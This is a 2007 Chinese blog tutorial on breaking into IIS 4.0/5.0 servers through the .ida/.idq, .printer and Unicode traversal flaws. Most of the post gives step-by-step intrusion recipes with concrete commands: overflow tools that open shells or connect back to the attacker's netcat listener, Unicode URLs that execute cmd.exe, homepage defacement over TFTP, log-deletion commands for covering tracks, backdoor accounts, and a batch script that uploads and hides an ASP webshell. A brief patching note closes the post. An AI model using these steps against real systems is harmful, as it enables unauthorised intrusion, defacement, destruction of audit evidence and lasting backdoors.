基于漏洞的入侵(一)

基于漏洞的入侵(一)
[ 2007-7-19 18:22:00 | By: emile ]
 

基于漏洞的入侵:
主要介绍下面几种漏洞:IIS漏洞带来的入侵、操作系统漏洞带来的入侵、SQL服务器漏洞带来的入侵。

一、IIS漏洞(一)
1、IIS漏洞和IIS信息搜集:
(1) IIS漏洞据说有近千种,其中能被用来入侵的漏洞大多属于“溢出”型漏洞,对于这种漏洞,入侵者能通过发送特定格式的数据来使远程服务器缓冲区溢出,从而突破系统保护在溢出后的空间中执行任意命令。IIS漏洞中,主要有5种漏洞,只要IIS服务器存在其中任意一种,都可能导致被入侵。它们是:
    .ida&.idq漏洞
    Printer漏洞
    Unicode漏洞
    .asp映射分块编码漏洞
    Webdav漏洞

(2)入侵者在入侵IIS服务器前,会通过很多手段来搜集一些关键信息,比如通过Telnet方式:
   使用“telnet 目标IP 80”搜集Web服务器版本信息;
   使用“telnet 目标IP 21”搜集FTP服务器版本信息;
除了通过Telnet方式,入侵者还会使用专门的扫描器对远程IIS服务器的信息进行搜集。
 
2、.ida&.idq漏洞:
(1)漏洞描述:IIS的index server .ida/.idq ISAPI扩展存在远程缓冲溢出漏洞
威胁程度:远程管理员权限;错误类型:输入验证错误;利用方式:服务器模式;
受影响系统:IIS4.0 — Windows NT 4.0 sp1-sp6a系列
            IIS5.0 — windows 2000 sp1-sp2系列
详细描述:微软的indwx Server可以加快Web的搜索能力,提供对管理员脚本和Internet数据的查询,默认支持管理脚本.ida和查询脚本.idq,不过都是使用 idq.dll来进行解析的。但是存在一个缓冲溢出,其中问题存在于idq.dll扩展程序上,由于没有对用户提交的输入参数进行边界检查,可以导致远程攻击者利用溢出获得System权限来访问远程系统。
 
(2)漏洞检测:
手工检测:在客户端IE地址栏输入“http://目标IP/*.ida”“http://目标IP/*.idq”其中目标IP为
    远程服务器的IP地址或域名,回车确认后,如果返回类似“找不到**文件
    C:/inetpub/wwwroot/*.ida。”的信息,就说明远程服务器中的IIS服务器存在.ida&.idq漏洞。
工具检测:很多扫描器都可以检测出远程服务器中IIS的.ida&.idq漏洞,此外网管也可通过这些扫描器对自己的服务器进行安全检测。如X- Scan、SFind等,SFind是个体积小、速度快、仅有一个exe文件的基于命令行的漏洞扫描工具;扫描结果将保存在sfind.txt中,目前支持的功能有:
    端口扫描(参数-p)
    CGI漏洞扫描(参数-cgi)
    unicode漏洞扫描(参数-uni)
    .printer漏洞扫描(参数-pri)
    .idq漏洞扫描(参数-idq)
    FTP匿名登录扫描、通过FTP扫描administrator弱密码(参数-ftp)
    codered病毒主机扫描(参数-codered)
    利用unicode漏洞直接修改主页、利用codered病毒修改主页(参数-um)
除了X-Scan和SFind,还常用的有Scanlook和NIIS等。
 
(3)漏洞利用:
<1>IDA入侵实例:IDAHack是基于命令行的溢出工具,能够溢出打了sp1、sp2补丁的windows2000,当远程服务器溢出后,便会在指定端口得到一个Telnet权限。命令格式:
    idahack <Host> <HostPort> <HostType> <shellPort>
    <Host>:远程服务器IP;<HostPort>:远程服务器用来提供web服务的端口,一般为80;< HostType>:主机类型,用来指定远程服务器操作系统和已经打的补丁类型,具体对照略;<ShellPort>:指定溢出成功后打开的Telnet端口。
 
   入侵思路:扫描远程服务器、IDA溢出、Telnet登录、建立账号、退出登录。
  步骤一:扫描远程服务器,使用X-Scan等工具来发现存在IDA漏洞的服务器,并通过手工验证进一步知道远程服务器提供web服务的目录。
  步骤二:IDA 溢出。使用工具IDAHack,通过命令“idahack 192.168.1.60 80 1 520”在192.168.1.60这台web服务器上打开520号端口等待Telnet登录。通过返回信息,可见溢出成功,同时打开了520端口等待登录(如果一次不成功,不妨换一下<HostType>这个参数)。
  步骤三:Telnet登录,在MS-DOS中键入“telnet 192.168.1.60 520”远程登录服务器,该Telnet登录无身份验证,如果登录成功,立即得到拥有管理员权限的Shell,可以在其中执行任何命令。
  步骤四:建立账号,成功进入远程服务器后立即建立系统账号,然后再通过系统账号来连接远程服务器,将“基于漏洞的入侵”转化为“基于认证的入侵”。建立账号的命令这里略过不再详述了。
  步骤五:使用“exit”命令退出登录。
 
<2>IDQ入侵实例:IISIDQ是一款IDQ溢出工具,有命令行和图形界面两种方式,而且使用它令远程服务器溢出后,有两种登录方式供选择:一种是在漏洞溢出后,IISIDQ自动打开远程服务器的指定端口并等待连接,这时可以使用nc等工具远程连接服务器,命令如下:
    iisidq <OS-Type> <目标IP> <web端口> <1> <溢出监听端口> [输入命令 l]
另一种方式是在远程服务器溢出后,IISIDQ会让远程服务器主动连接入侵者指定的IP地址,这种方式能穿透一些网络防火墙实现远程控制,命令如下:
    iisidq <OS-Type> <目标IP> <web端口> <2> <溢出连接IP> <溢出连接端口> [输入命令 l]
<输入命令 l>中,如果使用参数l,则表示需要输入新的命令,否则默认执行命令为“cmd.exe/c+dir”。
    
    溢出后的连接工具nc:nc有如下两种方法进行连接:
    a)主动连接到外部:nc [-options] hostname port [s] [ports]
    b)监听以等待外部连接:nc -l -p port [-options] [hostname] [port]
    参数说明:
      -e  prog程序重定向,一旦连接就执行[危险!!]
      -g  网关路由跳数,可设置到8
      -G  源路由数目:4,8,12,…
      -h  帮助信息
      -i  secs延时的间隔
      -l  监听模式,用于入站连接
      -n  指定数字的IP地址,不能用hostname
      -o  file纪录16进制的传输
      -p  port本地端口号
      -r  任意指定本地及远程端口
      -s  addr本地源地址
      -u  UDP模式
      -v  详细输出——用两个-v可得到更详细的内容
      -w  secs超过时间
      -z  将输入输出关掉—用于扫描时
实例一:通过IISIDQ方式一实现入侵,入侵思路:扫描远程服务器、idq溢出、nc连接、建立账号、断开        连接。
  步骤一:扫描远程服务器,略
  步骤二:IDQ溢出。使用IISIDQ连接方式一的命令格式“iisidq 0 192.168.1.60 80 1 521 1”对192.168.1.60进行IDQ漏洞溢出,溢出成功后,远程服务器会打开521端口等待外部连接。此外还可使用IISIDQ的图形界面来实现上述过程。
  步骤三:nc连接,使用命令“nc -v 192.168.1.60 521”进行连接。
  步骤四:建立后门账号,略
  步骤五:使用exit命令断开连接。
 
实例二:通过IISIDQ方式二实现入侵,入侵思路:扫描远程服务器、nc监听、idq漏洞溢出、建立账号、        断开连接。
  步骤一:扫描远程服务器,略
  步骤二:使用nc在本地打开端口等待连接,使用命令“nc -l -p 250”监听本地250端口,等待连接,执行后,窗口进入等待连接状态。
  步骤三:IDQ溢出。使用IISIDQ连接方式二的命令格式“iisidq 0 192.168.1.60 80 2 210.30.*.* 250 1”对远程服务器进行漏洞溢出,使远程服务器在溢出后自动连接到入侵者本地机的250端口上。此外一样可以使用IISIDQ的图形界面实现上述过程。溢出成功后,看到刚才nc监听窗口成功与远程服务器建立连接,并得到命令行界面。
  步骤四:建立后门账号,略
  步骤五:使用exit命令断开连接。
 
3、.printer漏洞:
(1)漏洞描述:windows2000 IIS5.0 .print ISAPI扩展存在缓冲区溢出漏洞。
威胁程度:远程管理员权限;错误类型:输入验证错误;利用方式:利用服务器模式;
受影响系统:windows2000 server系列
详细描述:windows2000 IIS5.0 存在打印扩展ISAPI,使.printer扩展与msw3prt.dll进行映射,该扩展可以通过web调用打印机。但在msw3prt.dll文件中存在缓冲溢出漏洞,“Host:”栏中包含大约420字节的HTTP .printer请求给服务器,就可以导致缓冲溢出并执行任意代码。一般情况下攻击会使web服务器停止响应,但windows2000会检测到web服务没有响应而重启服务器,因此,管理员比较难以发现这种攻击。该漏洞仅需windows2000打开80端口或443端口,因此非常危险。
 
(2)漏洞检测:打开X-Scan扫描IIS漏洞,如果得到“可能存在IIS5.0 .printer远程缓冲区溢出漏洞”则说明该远程服务器存在.printer漏洞。
 
(3)漏洞利用:
<1>使用工具 IIS5 .printer Exploit进行漏洞利用
命令格式:IIS5Exploit <目标IP> <入侵者IP> <本地监听端口>
    键入上面命令后,如果漏洞溢出成功会在本机nc监听的窗口出现,此时入侵者可获得远程服务器管理员的Shell,然后就可以利用该漏洞了,下面是利用漏洞的步骤:
    步骤一:在MS-DOS中键入“nc -l -p 250”命令,在本地用nc开一个监听端口。
    步骤二:按照格式“IIS5Exploit <目标IP> <入侵者IP> <本地监听端口>”对远程主机进行漏洞溢出
    步骤三:建立后门账号。

<2>使用工具 IISX v0.3进行漏洞溢出
命令格式:IISx <目标IP> <SP> <-pl -al -r attackhost attackport>
参数说明:SP—0没有补丁,1打了补丁sp1;-p—使用该参数,漏洞成功溢出后,会在目标IP上打开7788端口等待连接,入侵者便可以远程登录服务器;-a—使用该参数,漏洞成功溢出后,会在目标IP主机上添加一个管理员账号,账号名和密码均为hax;-r—反向连接,能够穿透部分设置的防火墙。
    入侵者可以使远程服务器在溢出后主动与自己连接。首先通过命令“nc -l -p 250”在本机打开250端口进行监听;然后使用“iisx 192.168.1.60 0 -r 192.168.1.63 250”进行漏洞溢出,其中后面一个IP是入侵者本地IP,250是nc在本地打开的监听端口;如果溢出成功,将在本地nc监听窗口中得到远程服务器的命令窗口。
 
4、安全解决方案:
(1).ida,.idq解决方案:
下载安装补丁;
删除对.idq和.ida的脚本映射,在IIS管理器的属性中删除对.idq和.ida的脚本映射。
(2).printer解决方案:
下载安装补丁。
 
二、IIS漏洞(二)
主要是Unicode漏洞和.asp映射分块编码漏洞,这两个漏洞配合其它方法,就可以拿到管理员权限。
1、Unicode目录遍历漏洞:
(1)漏洞描述和漏洞利用:
    微软IIS4.0/5.0扩展Unicode目录遍历漏洞,是远程、本地漏洞。
    IIS4.0/5.0都存在利用扩展Unicode字符取代“/”和“/”而能利用“../”目录遍历的漏洞。未经授权用户可利用 IUSR_machinename账号的上下文空间访问任何已知文件,该账号默认属于Everyone和Users组成员,因此任何与web根目录在同一逻辑驱动器上的能被这些用户组访问的文件都能被删除、修改或执行。
    从漏洞描述看出,Unicode漏洞允许未经授权的用户使用客户端IE来构造非法字符;只要入侵者能够造出适当字符如“/”和“/”,就可以利用“.. /”来遍历,可以新建、执行、下载和删除文件,还可以通过unicode编码来找到并打开该服务器上的cmd.exe来执行命令。
(2)漏洞检测:
  手工检测:
    假如远程服务器操作系统为windows2000中文版,通过编码表,知道对应编码为“%c1%1c”“%e0%2f”这里我们选用使用编码“%c1%1c”。然后,在IE地址栏输入“http://192.168.1.60/scripts/..%c1%1c.. /winnt/system32/cmd.exe?/c+dir+c:/”,在与远程服务器连接后,得到包含一系列目录显示的回显,则说明该服务器存在 unicode目录遍历漏洞。上面命令中,命令间的空格可以使用“+”代替,即“dir+c:/”和“dir c:/”是等价的。“scripts”为远程服务器上脚本文件目录,除scripts外,还有msadc、_vti_、_men_bin、cgi-bin 等,其中scripts最常用。“..%c1%1c..”是漏洞所在,该参数被远程服务器翻译为“../”,因此可以实现目录遍历。 “winnt/system32/cmd.exe?/c+”这一串参数来打开远程服务器中的cmd.exe,一般不用改变。“dir+c:/”或“dir c:/”是入侵者要执行的命令,也就是使用unicode漏洞的原因所在。
  工具检测:
    使用X-Scan检测该漏洞。
(3)漏洞利用:
   利用unicode漏洞,能把IE变成远程执行命令的控制台,不过unicode漏洞并不是远程溢出型漏洞,不能直接溢出一个管理员权限的shell。在利用unicode编码进行入侵的时候,入侵者只具有IUSR_machinename权限。
   实例一:“涂鸦”主页
步骤一:用网页设计软件制作一个标语网页,做好后保存为1.htm。
步骤二:探知远程服务器的web根目录:
    方法一:如果远程服务器存在.ida&.idq漏洞,可以利用该漏洞找出web根目录所在的物理路径。打开IE输入 192.168.1.60/1.ida,与远程服务器连接后,IE回显就可看到该服务器web根目录的物理路径。
    方法二:通过查找文件的方法找到远程服务器的web根目录。首先在IE输入“http://192.168.1.60/scripts/..%c1% 1c../winnt/system32/cmd.exe?/c+dir+c:/mmc.gif/s”,其中“/s”参数表示查找指定文件或文件夹的物理路径,由于文件mmc.gif是IIS默认安装在web根目录中的,所以找到该文件的同时也就找到了web根目录。还可通过鼠标右键单击网站上图片查看图片文件名,然后用获得的文件名进行查找。
步骤三:涂鸦”主页:在“涂鸦”之前,需要知道远程服务器使用了哪一个文件名,主页文件名一般为index.htm、index.html、 default.htm、default.html、default.asp、index.jsp等,可以通过unicode漏洞来查看。如:在IE输入
“http://192.168.1.60/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:/inetpub/wwwroot/”命令,得到目录内容列表,可以看出主页文件是index.htm。现在把准备好的标语文件上传到服务器web根目录来覆盖主页文件:在本地打开TFTP服务器,把1.htm拷贝到TFTP服务器路径下,然后利用unicode漏洞使用TFTP命令把本机上1.htm传到该服务器的web根目录下,使用命令为“tftp+192.168.1.60+get+1.htm+c:/inetpub/wwwroot/index.htm”来覆盖主页文件,虽然可能返回信息提示错误,但实际已经操作成功。现在再重新打开主页,发现已经被“涂鸦”了。
 
   实例二:擦脚印
  入侵者在利用unicode漏洞入侵后,在离开远程服务器前,需要清除服务器的日志文件。使用命令为:
 del+C:/winnt/system32/logfiles/*.*
 del+C:/winnt/system32/config/*.evt
 del+C:/winnt/system32/dtclog/*.*
 del+C:/winnt/system32/*.log
 del+C:/winnt/system32/*.txt
 del+C:/winnt/*.txt
 del+C:/winnt/*.log
  也可将上述命令编成BAT文件,然后通过TFTP服务器把BAT文件上传至该服务器C:/下,再通过unicode漏洞执行该BAT文件。但是,由于通过 unicode漏洞获得的权限很低,对绝大多数服务器,入侵者无法通过该漏洞对system32目录进行访问。
 
   实例三:修改文件属性:借助DOS命令Attrib
使用“attrib+%2bH+%2bS+c:/abc.exe”设置c盘中的abc.exe文件为“系统”加“隐藏”属性,其中“%2b”表示符号“+”,前面的“+”相当于空格。使用“attrib+-H+-S+c:/abc.exe”去掉隐藏和系统属性。
 
   实例四:Unicode综合利用
入侵者在一些服务器上申请支持asp的网站空间,然后把木马工具传上去,结果那台服务器就被入侵者通过asp工具控制了;除了该 asp工具,入侵者不仅能对自己申请的空间进行操作,还可以通过IE对远程服务器上的文件进行删除、修改、甚至执行命令。下面介 绍一款asp工具——海阳顶端网木马,这是一套asp在线的网页编辑软件,支持在线更改、编辑、删除任意文本文件,不需要注册组件 就可以同时上传多个不同类型文件,不过这个木马工具不能得到管理员权限。
  步骤一:上传木马文件。
  由于海阳顶端网木马文件比较多,我们编写批处理文件把木马文件和该批处理文件上传至远程服务器,批处理文件load.bat内容如
下:
  tftp %1 get index.asp %2 /index.asp
  tftp %1 get 1.asp %2 /1.asp
  tftp %1 get cmd.asp %2 /cmd.asp
  tftp %1 get edir.asp %2 /edir.asp
  tftp %1 get edit.asp %2 /edit.asp
  tftp %1 get ftp://ftp.asp/ %2 /ftp.asp
  tftp %1 get list.asp %2 /list.asp
  tftp %1 get p.asp %2 /p.asp
  tftp %1 get up.asp %2 /up.asp
  tftp %1 get upfile.asp %2 /upfile.asp
其中“%1”代表本地IP,“%2”代表服务器上web根目录。
  步骤二:隐藏木马文件。
入侵者为了不让这些asp木马被服务器管理员发现,会在load.bat中再给它们添加“系统”和“隐藏”属性,如:attrib +h +s %2/index.asp等等。
最后,完成木马上传和隐藏后还要删除load.bat这个过渡文件:我们在该文件中最后加上“del c:/load.bat”。若该批处理文件控
制不成功,可能是没有对web根目录写操作权限或该asp木马已经被病毒防火墙杀掉。
 
使用说明:
  把海阳顶端网木马和load.bat拷贝到TFTP服务器根目录下;
  打开tftpd32,提供tftp服务;
  通过unicode溢出漏洞或者.asp溢出漏洞将load.bat拷贝到远程服务器的c:/下;
  在服务器上执行Load.bat将木马拷贝到该服务器的web根目录,命令为:load.bat <入侵者IP><目标服务器web根目录>;
  最后,打开IE,输入“http://目标服务器ip/index.asp”就可以远程控制该服务器了。
除了海阳顶端网木马,还可以使用IIS Cracker工具,这个工具也很简单易于使用。
 
 
2、.asp映射分块编码漏洞:(待续)
 
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值